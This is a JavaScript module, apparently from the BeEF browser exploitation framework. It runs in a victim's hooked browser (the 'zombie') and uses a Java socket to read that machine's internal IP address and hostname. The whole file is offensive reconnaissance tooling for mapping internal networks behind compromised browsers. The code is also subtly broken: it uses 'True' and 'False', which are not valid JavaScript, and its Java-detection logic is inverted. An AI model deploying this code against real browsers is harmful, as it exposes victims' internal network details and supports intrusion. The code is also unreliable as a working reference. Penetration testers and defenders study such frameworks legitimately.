Files
beef/core/main/client/net/local.js

99 lines
2.6 KiB
JavaScript

//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.net.local
*
* Provides networking functions for the local/internal network of the zombie.
*/
beef.net.local = {
sock: false,
checkJava: false,
hasJava: false,
/**
* Initializes the java socket. We have to use this method because
* some browsers do not have java installed or it is not accessible.
* in which case creating a socket directly generates an error. So this code
* is invalid:
* sock: new java.net.Socket();
*/
initializeSocket: function() {
if(this.checkJava){
if(!beef.browser.hasJava()) {
this.checkJava=True;
this.hasJava=False;
return -1;
}else{
this.checkJava=True;
this.hasJava=True;
return 1;
}
}
else{
if(!this.hasJava) return -1;
else{
try {
this.sock = new java.net.Socket();
} catch(e) {
return -1;
}
return 1;
}
}
},
/**
* Returns the internal IP address of the zombie.
* @return: {String} the internal ip of the zombie.
* @error: return -1 if the internal ip cannot be retrieved.
*/
getLocalAddress: function() {
if(!this.hasJava) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostAddress();
} catch(e) { return false; }
},
/**
* Returns the internal hostname of the zombie.
* @return: {String} the internal hostname of the zombie.
* @error: return -1 if the hostname cannot be retrieved.
*/
getLocalHostname: function() {
if(!this.hasJava) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostName();
} catch(e) { return false; }
}
};
beef.regCmp('beef.net.local');